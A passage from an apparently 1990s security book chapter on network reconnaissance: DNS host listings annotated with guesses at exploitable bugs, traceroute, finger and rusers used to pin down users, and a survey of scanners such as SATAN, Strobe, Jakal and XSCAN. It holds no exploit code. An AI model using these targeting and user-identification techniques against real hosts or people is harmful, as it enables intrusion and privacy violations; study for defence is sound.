PPP-HOST PPP-SW \nODIE.bu.edu 86400 IN A 128.197.10.52 \nODIE.bu.edu 86400 IN MX 10 CS.BU.EDU \nODIE.bu.edu 86400 IN HINFO DEC-ALPHA-3000/300LX OSF1 \nHere, we are immediately aware that a DEC Alpha running OSF/1 is available \n(ODIE.bu.edu). And then: \nSTRAUSS.bu.edu 86400 IN HINFO PC-PENTIUM DOS/WINDOWS \nBURULLUS.bu.edu 86400 IN HINFO SUN-3/50 UNIX (Ouch) \nGEORGETOWN.bu.edu 86400 IN HINFO MACINTOSH MAC-OS \nCHEEZWIZ.bu.edu 86400 IN HINFO SGI-INDIGO-2 UNIX \nPOLLUX.bu.edu 86400 IN HINFO SUN-4/20-SPARCSTATION-SLC UNIX \nSFA109-PC201.bu.edu 86400 IN HINFO PC MS-DOS/WINDOWS \nUH-PC002-CT.bu.edu 86400 IN HINFO PC-CLONE MS-DOS \nSOFTWARE.bu.edu 86400 IN HINFO SUN-SPARCSTATION-10/30 UNIX \nCABMAC.bu.edu 86400 IN HINFO MACINTOSH MAC-OS \nVIDUAL.bu.edu 86400 IN HINFO SGI-INDY IRIX \nKIOSK-GB.bu.edu 86400 IN HINFO GATORBOX GATORWARE \nCLARINET.bu.edu 86400 IN HINFO VISUAL-X-19-TURBO X-SERVER \nDUNCAN.bu.edu 86400 IN HINFO DEC-ALPHA-3000/400 OSF1 \nMILHOUSE.bu.edu 86400 IN HINFO VAXSTATION-II/GPX UNIX \nPSY81-PC150.bu.edu 86400 IN HINFO PC WINDOWS-95 \nBUPHYC.bu.edu 86400 IN HINFO VAX-4000/300 OpenVMS \nI have omitted the remaining entries for sake of brevity. The inquiry produced a plain text \nfile of some 70KB (over 1500 lines in all). \nThe point here is this: Anyone, with a single command-line, can gather critical \ninformation on all machines within a domain. When crackers looks at the preceding \ninformation, they are really seeing this: \n• \nODIE.bu.edu is a possible target for the mount -d -s bug, where if two successive mount \n-d -s commands are sent within seconds of one another (and before another host has issued such \na request), the request will be honored. \n• \nCHEEZEWIZ.bu.edu is a potential target for either the lp login bug or the Telnet bug. Or \nmaybe, if we're on site, we can exploit the floppy mounter bug in /usr/etc/msdos. \n• \nPOLLUX.bu.edu is an old machine. Perhaps Sun Patch-ID# 100376-01 hasn't been applied. \nMaybe they put in a fresh install of SunOS 4.1.x and the SPARC integer division is shredded. \n" }, { "page_number": 144, "text": " \n \n• \nI see that PSY81-PC150.bu.edu is running Windows 95. I wonder whether the SMB protocol \nis running and if so, are any local directories shared out? Using Samba on a Linux box, perhaps I \ncan attach one of the shared out directories from anywhere on the Internet simply by specifying \nmyself as a guest. \nAs you can easily see, even minor information about the operating system can lead to \nproblems. In reality, the staff at BU.EDU has likely plugged all the holes mentioned here. \nBut that doesn't mean that every host has. Most haven't. \nA host lookup takes less than three seconds, even when the network is under heavy \nsystem load. It is quick, legal, and extremely revealing. \n \nCAUTION: There are various ways to protect against this. One way is to run a firewall. \nAnother is to restrict queries of name servers to a particular set of addresses. Another is \nto completely disallow outside access to your name servers. \n \nTraceroute \nTraceroute's name is quite descriptive. In short, it traces the route between two machines. \nAs explained in the man (manual) page: \nTracking the route one's packets follow (or finding the miscreant gate way that's discarding your \npackets) can be difficult. Traceroute utilizes the IP protocol `time to live' field and attempts to \nelicit an ICMP TIME_EXCEEDED response from each gateway along the path to some host. \n \nNOTE: Man pages are manual pages on the UNIX platform. These are the equivalent of \nhelp files. They can be called from a command prompt or from a windowed system. On a \nfull install of UNIX, these man pages cover help on all commands one can issue from a \nprompt. They also cover most programming calls in C and C++. \n \nThis utility can be used to identify the location of a machine. Suppose, for example, that \nyou are trying to track down an individual who posted from a box connected to his or her \nISP via PPP. Suppose that the posting revealed nothing more than an IP address that, \nwhen run through a WHOIS search, produces nothing (that is, the address is not the \naddress of a registered domain). You can find that machine by issuing Traceroute \nrequests. The second to last entry is generally the network from which the activity \noriginated. For example, examine this Traceroute trace going from a machine in France \n(freenix.fr) to mine: \n 1 193.49.144.224 (193.49.144.224) 3 ms 2 ms 2 ms \n 2 gw-ft.net.univ-angers.fr (193.49.161.1) 3 ms 3 ms 3 ms \n 3 angers.or-pl.ft.net (193.55.153.41) 5 ms 5 ms 5 ms \n 4 nantes1.or-pl.ft.net (193.55.153.9) 13 ms 10 ms 10 ms \n 5 stamand1.renater.ft.net (192.93.43.129) 25 ms 44 ms 67 ms \n 6 rbs1.renater.ft.net (192.93.43.186) 45 ms 30 ms 24 ms \n 7 raspail-ip2.eurogate.net (194.206.207.18) 51 ms 50 ms 58 \n 8 raspail-ip.eurogate.net (194.206.207.58) 288 ms311 ms 287 ms \n 9 * Reston.eurogate.net (194.206.207.5) 479 ms 469 ms \n10 gsl-sl-dc-fddi.gsl.net (204.59.144.199) 486 ms 490 ms 489 ms \n11 sl-dc-8-F/T.sprintlink.net (198.67.0.8) 475 ms * 479 ms \n12 sl-mae-e-H2/0-T3.sprintlink.net (144.228.10.42)498 ms 478 ms \n13 mae-east.agis.net (192.41.177.145) 391 ms 456 ms 444 ms \n14 h0-0.losangeles1.agis.net (204.130.243.45)714 ms 556 ms714 ms \n" }, { "page_number": 145, "text": " \n \n15 pbi10.losangeles.agis.net (206.62.12.10) 554 ms 543 ms 505 ms \n16 lsan03-agis1.pbi.net (206.13.29.2) 536 ms 560 ms * \n17 * * * \n18 pm1.pacificnet.net (207.171.0.51) 556 ms 560 ms 561 ms \n19 pm1-24.pacificnet.net (207.171.17.25) 687 ms 677 ms 714 ms \nFrom this, it is clear that I am located in Los Angeles, California: \npbi10.losangeles.agis.net (206.62.12.10) 554 ms 543 ms 505 ms \nand occupy a place at pacificnet.net: \npm1.pacificnet.net (207.171.0.51) 556 ms 560 ms 561 ms \nTraceroute can be used to determine the relative network location of a machine in the \nvoid. \nNote that you needn't have UNIX (or a UNIX variant) to run Traceroute queries. There \nare Traceroute gateways all over the Internet. And, although these typically trace the \nroute only between the Traceroute gateway and your target, they can at least be used to \npin down the local host of an IP address. \n \nCross Reference: Try the Traceroute gateway at \nhttp://www.beach.net/traceroute.html. \n \nrusers and finger \nrusers and finger can be used together to glean information on individual users on a \nnetwork. For example, a rusers query on the domain wizard.com returns this: \ngajake snark.wizard.com:ttyp1 Nov 13 15:42 7:30 (remote) \nroot snark.wizard.com:ttyp2 Nov 13 14:57 7:21 (remote) \nrobo snark.wizard.com:ttyp3 Nov 15 01:04 01 (remote) \nangel111 snark.wizard.com:ttyp4 Nov14 23:09 (remote) \npippen snark.wizard.com:ttyp6 Nov 14 15:05 (remote) \nroot snark.wizard.com:ttyp5 Nov 13 16:03 7:52 (remote) \ngajake snark.wizard.com:ttyp7 Nov 14 20:20 2:59 (remote) \ndafr snark.wizard.com:ttyp15Nov 3 20:09 4:55 (remote) \ndafr snark.wizard.com:ttyp1 Nov 14 06:12 19:12 (remote) \ndafr snark.wizard.com:ttyp19Nov 14 06:12 19:02 (remote) \nAs an interesting exercise, compare this with finger information collected immediately \nafter: \nuser S00 PPP ppp-122-pm1.wiza Thu Nov 14 21:29:30 - still logged in \nuser S15 PPP ppp-119-pm1.wiza Thu Nov 14 22:16:35 - still logged in \nuser S04 PPP ppp-121-pm1.wiza Fri Nov 15 00:03:22 - still logged in \nuser S03 PPP ppp-112-pm1.wiza Thu Nov 14 22:20:23 - still logged in \nuser S26 PPP ppp-124-pm1.wiza Fri Nov 15 01:26:49 - still logged in \nuser S25 PPP ppp-102-pm1.wiza Thu Nov 14 23:18:00 - still logged in \nuser S17 PPP ppp-115-pm1.wiza Thu Nov 14 07:45:00 - still logged in \nuser S-1 0.0.0.0 Sat Aug 10 15:50:03 - still logged in \nuser S23 PPP ppp-103-pm1.wiza Fri Nov 15 00:13:53 - still logged in \nuser S12 PPP ppp-111-pm1.wiza Wed Nov 13 16:58:12 - still logged in \nInitially, this information might not seem valuable. However, it is often through these \ntechniques that you can positively identify a user. For example, certain portions of the \n" }, { "page_number": 146, "text": " \n \nInternet offer varying degrees of anonymity. Internet Relay Chat (IRC) is one such \nsystem. A person connecting with a UNIX-based system can effectively obscure his or \nher identity on IRC but cannot easily obscure the IP address of the machine in use. \nThrough sustained use of both the finger and rusers commands, you can pin down who \nthat user really is. \n \nNOTE: finger and rusers are extensively discussed in Chapter 13, \"Techniques to \nHide One's Identity.\" Nonetheless, I'd like to provide a brief introduction here: finger \nand rusers are used to both identify and check the current status of users logged on to a \nparticular machine. For example, you can find out the user's real name (if available), his \nor her last time of login, and what command shell he or she uses. Not all sites support \nthese functions. In fact, most PC-based operating systems do not without the installation \nof special server software. However, even many UNIX sites no longer support these \nfunctions because they are so revealing. finger and rusers are now considered \nsecurity risks in themselves. \n \nNevertheless, this explanation doesn't reveal the value of these utilities in relation to \ncracking. In the same way that one can finger a user, one can also finger several key \nprocesses. Table 9.2 contains some examples. \nTable 9.2. Processes that can be fingered. \nProcess Purpose \nlp \nThe Line Printer daemon \nUUCP UNIX to UNIX copy \nroot \nRoot operator \nmail \nThe Mail System daemon \nBy directing finger inquiries on these accounts, you can glean valuable information \nabout them, such as their base directory as well as the last time they were used or logged \nin. \nThus, rusers, when coupled with finger, can produce interesting and often revealing \nresults. I realize, of course, that you might trivialize this information. For, what value is \nthere in knowing when and where logins take place? \nIn fact, there are many instances in which such information has value. For example, if \nyou are truly engaged in cracking a specific system, this information can help you build a \nstrong database of knowledge about your target. By watching logins, you can effectively \nidentify trust relationships between machines. You can also reliably determine the habits \nof the local users. All these factors could have significant value. \nShowmount \nShowmount reveals some very interesting information about remote hosts. Most \nimportantly, invoked with the -e command line option, showmount can provide a list of \nall exported directories on a given target. These directories might or might not be \nmountable from anywhere on the Internet. \n" }, { "page_number": 147, "text": " \n \nOn Other Platforms \nNone of the mentioned UNIX utilities are scanners. However, they do reveal important \ninformation about the target machine. And not surprisingly, the computing community \nhas ported quite a few of these utilities to other platforms (not everyone has a UNIX \nworkstation in their living room). It wouldn't be fair to continue without briefly covering \nthose ported utilities here. \nOn Windows 95 \nWindows 95 now supports many network analysis utilities. Some of these are straight \nports from UNIX commands, and others are programs built from the ground up. In both \ncases, the majority of these tools are shareware or freeware. You can use these tools to \nlearn much about networking. \nNetScan Tools The NetScan Tools suite contains a series of UNIX utilities ported to \nWindows 95. Its development team claims that by utilizing ping, network administrators \ncan identity unauthorized machines utilizing IP addresses on their subnets. The program \nalso contains ports of WHOIS, finger, ping, and Traceroute. \n \nCross Reference: The Netscan Tools suite is shareware and is available at \nhttp://www.eskimo.com/~nwps/index.html. \n \nNetwork Toolbox Network Toolbox is very similar to the Netscan Tools suite. It consists \nof a port of nine separate UNIX utilities. This utility has an interesting feature called IP \nAddress Search, which allows the user to search for machines within a given range of IP \naddresses. Otherwise, it has the usual fare: finger, DNS, WHOIS, and so on. One special \namenity of this suite is that it is exceedingly fast. This utility is discussed in greater detail \nlater in this chapter. \n \nCross Reference: You can find Network Toolbox at \nhttp://www.jriver.com/netbox.html. \n \nTCP/IP Surveyor This tool is quite impressive; not only does it gather information about \nnetworks and reachable machines, it formats it into a graphical representation that maps \nrouters, workstations, and servers. \n \nCross Reference: TCP/IP Surveyor is shareware and can be found at \nftp://wuarchive.wustl.edu/systems/ibmpc/win95/netutil/wssrv32n.zip. \n \nOn Macintosh \nThere has been a sharp increase in development of network analysis tools on the \nMacintosh platform. Many of these applications are first rate and, in traditional Mac \nplatform style, are extremely easy to use. \nMacTCP Watcher This utility provides ping, DNS lookups, and general monitoring of \nconnections initiated by protocols within the TCP/IP suite. \n" }, { "page_number": 148, "text": " \n \n \nCross Reference: As of version 1.12, this utility has been designated freeware. However, \nby the time this book is printed, that situation might change. Get it at \nhttp://www.share.com/share/peterlewis/mtcpw/. \n \nQuery It! Query It! is a solid utility that performs basic nslookup inquiries. It generates \ninformation that is very similar to that generated using the host command. \n \nCross Reference: Get Query It! at \nhttp://www.cyberatl.net/~mphillip/index.html#Query It!. \n \nWhatRoute WhatRoute is a port of the popular UNIX utility Traceroute. \n \nCross Reference: WhatRoute is a freeware program and is available at various locations \non the Internet, including http://homepages.ihug.co.nz/~bryanc/. \n \nOn AS/400 \nThe AS/400 platform, as of AS/400 V3R1 (and Client Access/400), has excellent internal \nsupport for most TCP/IP utilities, including ping and netstat. \n \nCross Reference: For those interested in studying the fine points of TCP/IP \nimplementation on AS/400, I highly recommend the white paper \"TCP/IP Connectivity in \nan AS/400 Environment\" by David Bernard. (News/400. February 1996.) It can be found \nat http://204.56.55.10/Education/WhitePapers/tcpip/tcpip.htm. \n \nThese utilities will always be available to users, even if scanners are not. Moreover, \nbecause the Internet is now traveled by more and more new users, utilities to analyze \nnetwork connections will be commonplace on all platforms. \nThe Scanners \nHaving discussed various network analysis utilities, we can now move on to bona fide \nscanners. Let's take a look at today's most popular scanners. \nNSS (Network Security Scanner) \nNSS (Network Security scanner) is a very obscure scanner. If you search for it using a \npopular search engine, you will probably find fewer than 20 entries. This doesn't mean \nNSS isn't in wide use. Rather, it means that most of the FTP sites that carry it are \nshadowed or simply unavailable via archived WWW searches. \nNSS differs from its counterparts in several ways, the most interesting of which is that it's \nwritten in Perl. (SATAN is also partially written in Perl. ISS and Strobe are not.) This is \ninteresting because it means that the user does not require a C compiler. This might seem \nlike a small matter, but it's not. Crackers and hackers generally start out as students. \nStudents may acquire shell accounts on UNIX servers, true, but not every system \nadministrator allows his or her users access to a C compiler. On the other hand, Perl is so \n" }, { "page_number": 149, "text": " \n \nwidely used for CGI programming that most users are allowed access to Perl. This makes \nNSS a popular choice. (I should explain that most scanners come in raw, C source. Thus, \na C compiler is required to use them.) \nAlso, because Perl is an interpreted (as opposed to compiled) language, it allows the user \nto make changes with a few keystrokes. It is also generally easier to read and understand. \n(Why not? It's written in plain English.) To demonstrate the importance of this, consider \nthe fact that many scanners written in C allow the user only minimal control over the scan \n(if the scanner comes in binary form, that is). Without the C source code, the user is \nbasically limited to whatever the programmer intended. Scanners written in Perl do not \ngenerally enforce such limitations and are therefore more easily extensible (and perhaps \nportable to any operating system running Perl 4 or better). \nNSS was reportedly written on the DEC platform (DecStation 5000 and Ultrix 4.4). It \ngenerally works out the box on SunOS 4.1.3 and IRIX 5.2. On other platforms, it may \nrequire basic or extensive porting. \nThe basic value of NSS is its speed. It is extremely fast. Routine checks that it can \nperform include the following: \n• \nsendmail \n• \nAnon FTP \n• \nNFS Exports \n• \nTFTP \n• \nHosts.equiv \n• \nXhost \n \nNOTE: NSS will not allow you to perform Hosts.equiv unless you have root privileges. \nIf this is a critical issue and you do not currently have root, you might want to acquire a \ncopy of Linux, Solaris X86, or FreeBSD. By getting one of these operating systems and \ninstalling it at home, you can become root. This is a common problem with several \nscanners, including SATAN and certain implementations of Internet Security Scanner. \n \nAs you might guess, some or most of these checks (except the Hosts.equiv query) can be \nconducted by hand by any user, even without root privileges. Basically, NSS serves the \nsame function as most scanners: It automates processes that might otherwise take a \nhuman weeks to complete. \nNSS comes (most often) as a tarred, g'zipped file. (In other words, it is a zipped archive \ncreated with gzip.exe, a popular compression tool similar to pkzip.exe.) With the original \ndistribution, the author discussed the possibility of adding greater functionality, including \nthe following features: \n• \nAppleTalk scanning \n• \nNovell scanning \n" }, { "page_number": 150, "text": " \n \n• \nLAN manager networks \n• \nThe capability to scan subnets \n• \nBriefly, the processes undertaken by NSS include \n• \nGetting the domain listing or reporting that no such listing exists \n• \nPinging the host to determine whether it's alive \n• \nScanning the ports of the target host \n• \nReporting holes at that location \nAlthough this is not an exhaustive treatment of NSS, there are some minor points I can \noffer here: \n• \nNSS does not run immediately after you unzip and untar it. Several changes must be made to the \nfile. The environment variables must be set to those applicable to your machine's configuration. \nThe key variables are \no $TmpDir--The temporary directory used by NSS \no $YPX--The directory where the ypx utility is located \no $PING--The directory where the executable ping is located \no $XWININFO--The directory where xwininfo is located \n \nTIP: If your Perl include directory (where the Perl include files are located) is \nobscure and not included within your PATH environment variable, you will have to \nremedy that. Also, users should note that NSS does require the ftplib.pl library \npackage. \n \n• \nNSS has parallel capabilities and can distribute the scan among a number of workstations. \nMoreover, it can fork processes. Those running NSS on machines with limited resources (or \nrunning it without permission) will want to avoid these capabilities. These are options that can set \nwithin the code. \n \nCross Reference: You can find a copy of NSS, authored by Douglas O'Neal (released \nMarch 28, 1995) at http://www.giga.or.at/pub/hacker/unix. This location \nwas reliable as of November 20, 1996. \n \nStrobe \nStrobe (The Super Optimized TCP Port Surveyor) is a TCP port scanner that logs all \nopen ports on a given machine. Strobe is fast (its author claims that an entire small \ncountry can be scanned within a reasonable period of time). \nThe key feature of Strobe is that it can quickly identify what services are being run on a \ngiven target (so quickly, in fact, that it takes less than 30 seconds to pin down a server, \neven with a 28.8 modem connection to the Internet). The key drawback of Strobe is that \nsuch information is limited. At best, a Strobe attack provides the cracker with a rough \n" }, { "page_number": 151, "text": " \n \nguideline, a map of what services can be attacked. Typical output from a Strobe scan \nlooks like this: \nlocalhost echo 7/tcp Echo [95,JBP] \nlocalhost discard 9/tcp Discard [94,JBP] \nlocalhost systat 11/tcp Active Users [89,JBP] \nlocalhost daytime 13/tcp Daytime [93,JBP] \nlocalhost netstat 15/tcp Netstat \nlocalhost chargen 19/tcp Character Generator [92,JBP] \nlocalhost ftp 21/tcp File Transfer [Control] [96,JBP] \nlocalhost telnet 23/tcp Telnet [112,JBP] \nlocalhost smtp 25/tcp Simple Mail Transfer [102,JBP] \nlocalhost time 37/tcp Time [108,JBP] \nlocalhost finger 79/tcp Finger [52,KLH] \nlocalhost pop3 0/tcp Post Office Protocol-Version 3 122 \nlocalhost sunrpc 111/tcp SUN Remote Procedure Call [DXG] \nlocalhost auth 113/tcp Authentication Service [130,MCSJ] \nlocalhost nntp 119/tcp Network News Transfer Protocol 65,PL4 \nAs you can see, the information is purely diagnostic in character (for example, there are \nno probes for particular holes). However, Strobe makes up for this with extensive \ncommand-line options. For example, in scanning hosts with large numbers of assigned \nports, you can disable all duplicate port descriptions. (Only the first definition is printed.) \nOther amenities include \n• \nCommand-line option to specify starting and ending ports \n• \nCommand-line option to specify time after which a scan will terminate if it receives no response \nfrom a port or host \n• \nCommand-line option to specify the number of sockets to use \n• \nCommand-line option to specify a file from which Strobe will take its target hosts \nCombining all these options produces a very controllable and configurable scan. Strobe \ngenerally comes as a tarred and g'zipped file. Contained within that distribution is a full \nman page and the binary. \n \nCross Reference: You can find a copy of Strobe, authored by Julian Assange (released \n1995), at http://sunsite.kth.se/Linux/system/Network/admin/. \n \nPointers \nIn the unlikely event you acquire Strobe without also acquiring the man page, there is a \nknown problem with Solaris 2.3. To prevent problems (and almost certainly a core \ndump), you must disable the use of getpeername(). This is done by adding the -g flag \non the command line. \nAlso, although Strobe does not perform extensive tests on remote hosts, it leaves just as \nlarge a footprint as early distributions of ISS. A host that is scanned with Strobe will \nknow it (this will most likely appear as a run of connect requests in the \n/var/adm/messages file). \n" }, { "page_number": 152, "text": " \n \nSATAN (Security Administrator's Tool for Analyzing Networks) \nSATAN is a computing curiosity, as are its authors. SATAN was released (or unleashed) \non the Internet in April, 1995. Never before had a security utility caused so much \ncontroversy. Newspapers and magazines across the country featured articles about it. \nNational news broadcasts warned of its impending release. An enormous amount of hype \nfollowed this utility up until the moment it was finally posted to the Net. \nSATAN is, admittedly, quite a package. Written for UNIX workstations, SATAN was--at \nthe time of its release--the only X Window System-based security program that was truly \nuser friendly. It features an HTML interface, complete with forms to enter targets, tables \nto display results, and context-sensitive tutorials that appear when a hole has been found. \nIt is--in a word--extraordinary. \nSATAN's authors are equally extraordinary. Dan Farmer and Weitse Venema have both \nbeen deeply involved in security. Readers who are unfamiliar with SATAN might \nremember Dan Farmer as the co-author of COPS, which has become a standard in the \nUNIX community for checking one's network for security holes. Venema is the author of \nTCP_Wrapper. (Some people consider TCP_Wrapper to be the grandfather of firewall \ntechnology. It replaces inetd as a daemon, and has strong logging options.) Both men are \nextremely gifted programmers, hackers (not crackers), and authorities on Internet \nsecurity. \nSATAN was designed only for UNIX. It is written primarily in C and Perl (with some \nHTML thrown in for user friendliness). It operates on a wide variety of UNIX flavors, \nsome with no porting at all and others with moderate to intensive porting. \n \nNOTE: There is a special problem with running SATAN on Linux. The original \ndistribution applies certain rules that result in flawed operation on the Linux platform. \nThere is also a problem with the way the select() call is implemented in the \ntcp_scan module. Lastly, if one scans an entire subnet at one time, this will result in a \nreverse fping bomb. That is, socket buffers will overflow. Nevertheless, one site contains \nnot only a nicely hacked SATAN binary for Linux, but also the diff file. (A diff file \nis a file that is close but not identical to another file. Using the diff utility, one \ncompares the two files. The resulting output consists of the changes that must be made.) \nThese items can be found at ftp.lod.com or one can obtain the diff file directly \nfrom Sunsite (sunsite.unc.edu) at \n/pub/Linux/system/Network/admin/satan-linux.1.1.1.diff.gz. \n \nThe package comes tarred and zipped and is available all over the world. As the name of \nthe program (Security Administrator's Tool for Analyzing Networks) suggests, it was \nwritten for the purpose of improving network security. As such, not only must one run it \nin a UNIX environment, one must run it with root privileges. \n• \nSATAN scans remote hosts for most known holes, including but not limited to these: \n• \nFTPD vulnerabilities and writable FTP directories \n• \nNFS vulnerabilities \n" }, { "page_number": 153, "text": " \n \n• \nNIS vulnerabilities \n• \nRSH vulnerability \n• \nsendmail \n• \nX server vulnerabilities \nOnce again, these are known holes. That is, SATAN doesn't do anything that a cracker \ncould not ultimately do by hand. However, SATAN does perform these probes \nautomatically and what's more, it provides this information in an extremely easy-to-use \npackage. \n \nCross Reference: You can obtain your copy of SATAN, written by Dan Farmer and \nWeitse Venema (released April, 1995), at http://www.fish.com. \n \nThe Process: Installation \nSATAN unarchives like any other utility. Each platform may differ slightly, but in \ngeneral, the SATAN directory will extract to /satan-1.1.1. The first step (after reading \nthe documentation) is to run the Perl script reconfig. This script searches for various \ncomponents (most notably, Perl) and defines directory paths. The script reconfig will \nfail if it cannot identify/define a browser. Those folks who have installed their browser in \na nonstandard directory (and have failed to set that variable in the PATH) will have to set \nthat variable manually. Also, those who do not have DNS available (they are not running \nDNS on their own machine) must set this in /satan-1.1.1/conf/satan.cf as follows: \n$dont_use_nslookup = 1; \nHaving resolved all the PATH issues, the user can run a make on the distribution (make \nIRIX or make SunOS). I suggest watching the compile very closely for errors. \n \nTIP: SATAN requires a little more resources than the average scanner, especially in the \narea of RAM and processor power. If you are experiencing sluggish performance, there \nare several solutions you can try. One of the most obvious is to get more RAM and \ngreater processor power. However, if that isn't feasible, I suggest a couple things: One is \nto kill as many other processes as possible. Another is to limit your scans to 100 hosts or \nfewer per scan. Lastly, it is of some significance that SATAN has a command-line \ninterface for those without strong video support or with limited memory resources. \n \nJakal \nJakal is a stealth scanner. That is, it will scan a domain (behind a firewall) without \nleaving any trace of the scan. According to its authors, all alpha test sites were unable to \nlog any activity (although it is reported in the documentation from the authors that \"Some \nfirewalls did allow SYN|FIN to pass through\"). \nStealth scanners are a new phenomenon, their incidence rising no doubt with the \nincidence of firewalls on the Net. It's a relatively new area of expertise. So if you test \nJakal and find that a few logs appear, don't be unforgiving. \n" }, { "page_number": 154, "text": " \n \nStealth scanners work by conducting half scans, which start (but never complete) the \nentire SYN|ACK transaction with the target host. Basically, stealth scans bypass the \nfirewall and evade port scanning detectors, thus identifying what services are running \nbehind that firewall. (This includes rather elaborate scan detectors such as Courtney and \nGabriel. Most of these detection systems respond only to fully established connections.) \n \nCross Reference: Obtain a copy of Jakal, written by Halflife, Jeff (Phiji) Fay, and \nAbdullah Marafie at http://www.giga.or.at/pub/hacker/unix. \n \nIdentTCPscan \nIdentTCPscan is a more specialized scanner. It has the added functionality of picking out \nthe owner of a given TCP port process. That is, it determines the UID of the process. For \nexample, running IdentTCPscan against my own machine produced the following output: \nPort: 7 Service: (?) Userid: root \nPort: 9 Service: (?) Userid: root \nPort: 11 Service: (?) Userid: root \nPort: 13 Service: (?) Userid: root \nPort: 15 Service: (?) Userid: root \nPort: 19 Service: (?) Userid: root \nPort: 21 Service: (?) Userid: root \nPort: 23 Service: (?) Userid: root \nPort: 25 Service: (?) Userid: root \nPort: 37 Service: (?) Userid: root \nPort: 79 Service: (?) Userid: root \nPort: 80 Service: (?) Userid: root \nPort: 110 Service: (?) Userid: root \nPort: 111 Service: (?) Userid: root \nPort: 113 Service: (?) Userid: root \nPort: 119 Service: (?) Userid: root \nPort: 139 Service: (?) Userid: root \nPort: 513 Service: (?) Userid: root \nPort: 514 Service: (?) Userid: root \nPort: 515 Service: (?) Userid: root \nPort: 540 Service: (?) Userid: root \nPort: 672 Service: (?) Userid: root \nPort: 2049 Service: (?) Userid: root \nPort: 6000 Service: (?) Userid: root \nThis utility has a very important function. By finding the UID of the process, \nmisconfigurations can be quickly identified. For example, examine this output. Seasoned \nsecurity professionals will know that line 12 of the scan shows a serious \nmisconfiguration. Port 80 is running a service as root. It happens that it is running \nHTTPD. This is a security problem because any attacker who exploits weaknesses in \nyour CGI can run his or her processes as root as well. \nI have tried many scanners. IdentTCPscan is extremely fast and as such, it is a powerful \nand incisive tool (a favorite of crackers). The utility works equally well on a variety of \nplatforms, including Linux, BSDI, and SunOS. It generally comes as a compressed file \ncontaining the source code. It is written in C and is very compact. It also requires \nminimal network resources to run. It will build without event using most any C compiler. \n" }, { "page_number": 155, "text": " \n \n \nCross Reference: Obtain a copy of IdentTCPscan, written by David Goldsmith (released \nFebruary 11, 1996), at http://www.giga.or.at/pub/hacker/unix. \n \nCONNECT \nCONNECT is a bin/sh script. Its purpose is to scan subnets for TFTP servers. (As you \nmight surmise, these are difficult to find. TFTP is almost always disabled these days.) \nThis scanner scans trailing IP addresses recursively. For this reason, you should send the \nprocess into the background (or go get yourself a beer, have some lunch, play some golf). \nThis scanner is of relatively little importance because TFTP is a lame protocol. There \nisn't much to gain. (Although, if the sysad at that location is negligent, you might be able \nto obtain the /etc/passwd file. Don't count on it, however. These days, the odds of \nfinding both an open TFTP server and a non-shadowed passwd file on the same machine \nare practically nil.) \n \nCross Reference: The documentation of CONNECT is written by Joe Hentzel; \naccording to Hentzel, the script's author is anonymous, and the release date is unknown. \nObtain a copy at http://www.giga.or.at/pub/hacker/unix/. \n \nFSPScan \nFSPScan scans for FSP servers. FSP stands for File Service Protocol, an Internet protocol \nmuch like FTP. It provides for anonymous file transfers and reportedly has protection \nagainst network overloading (for example, FSP never forks). Perhaps the most security-\naware feature of FSP is that it logs the incoming user's hostname. This is considered \nsuperior to FTP, which requests the user's e-mail address (which, in effect, is no logging \nat all). FSP was popular enough, now sporting GUI clients for Windows and OS/2. \nWhat's extraordinary about FSPScan is that it was written by one of the co-authors of \nFSP! But then, who better to write such a utility? \n \nCross Reference: Obtain a copy of FSPScan, written by Wen-King Su (released in \n1991), at http://www.giga.or.at/pub/hacker/unix. \n \nXSCAN \nXSCAN scans a subnet (or host) for X server vulnerabilities. At first glance, this doesn't \nseem particularly important. After all, most other scanners do the same. However, \nXSCAN includes an additional functionality: If it locates a vulnerable target, it \nimmediately starts logging the keystrokes at that terminal. \nOther amenities of XSCAN include the capability to scan multiple hosts in the same scan. \nThese can be entered on the command line as arguments. (And you can specify both hosts \nand subnets in a kind of mix-and-match implementation.) The source for this utility is \nincluded on the CD-ROM that accompanies this book. \n \n" }, { "page_number": 156, "text": " \n \nCross Reference: Obtain a copy of XSCAN (release unknown) at \nhttp://www.giga.or.at/pub/hacker/unix. \n \nOur Sample Scan \nOur sample scan will be generated using a product called SAFEsuite. Many of you might \nbe familiar with this product, which was developed by Internet Security Systems. ISS is \nextremely well known on the Net for a product called ISS. This product (the Internet \nSecurity Scanner) was among the first automated scanners to sell commercially. \nFrom ISS to SAFEsuite \nThe first release of ISS stirred some controversy. Many people felt that releasing such a \ntool free to the Internet community would jeopardize the network's already fragile \nsecurity. (The reaction to Dan Farmer's SATAN was very similar.) After all, why release \na product that automatically detects weaknesses in a remote target? In the manual pages \nfor ISS, the author (Christopher Klaus) addressed this issue by writing: \n...To provide this to the public or at least to the security-conscious crowd may cause people to \nthink that it is too dangerous for the public, but many of the (cr/h)ackers are already aware of these \nsecurity holes and know how to exploit them. These security holes are not deep in some OS \nroutines, but standard misconfigurations that many domains on Internet tend to show. Many of \nthese holes are warned about in CERT and CIAC advisories... \nIn early distributions of ISS, the source code for the program was included in the \npackage. (This sometimes came as a shar or shell archive file and sometimes not.) For \nthose interested in examining the components that make a successful and effective \nscanner, the full source for the older ISS is included on the CD-ROM that accompanies \nthis book. \nISS has the distinction of being one of the mainstays of Internet security. It can now be \nfound at thousands of sites in various forms and versions. It is a favorite of hackers and \ncrackers alike, being lightweight and easy to compile on almost any UNIX-based \nplatform. Since the original release of ISS, the utility has become incredibly popular. The \ndevelopment team at ISS has carried this tradition of small, portable security products \nonward, and SAFEsuite is its latest effort. It is a dramatic improvement over earlier \nversions. \nSAFEsuite consists of several scanners: \n• \nThe intranet scanner \n• \nThe Web scanner \n• \nThe firewall scanner \nSAFEsuite is similar to SATAN in that the configuration, management, implementation, \nand general use of the program can be done in a GUI environment. This saves enormous \ntime and effort. It also allows resulting information to be viewed quickly and \nconveniently. However, SAFEsuite has an additional attribute that will make it quite \n" }, { "page_number": 157, "text": " \n \npopular: It runs on a Microsoft platform. SAFEsuite has been developed for use on \nMicrosoft Windows NT. \nThis is of some significance. Only recently has NT been recognized by the UNIX \ncommunity as an acceptable server platform. This may in part be attributed to NT's new \nC2 security rating. In any event, ISS has broken through the barrier by providing a tested \nsecurity tool for a large portion of the Microsoft-based community. I consider this a \nrather far-sighted undertaking on the part of the development team at ISS. \nSAFEsuite performs a wide variety of attacks on the specified network. These include \ndiagnostic routines on all of the following services: \n• \nsendmail \n• \nFTP \n• \nNNTP \n• \nTelnet \n• \nRPC \n• \nNFS \nCuriously, the ISS development team also managed to add support for analysis of a host's \nvulnerability to IP spoofing and denial-of-service attacks. (This is impressive, although \none wonders what significance there is in knowing that you're 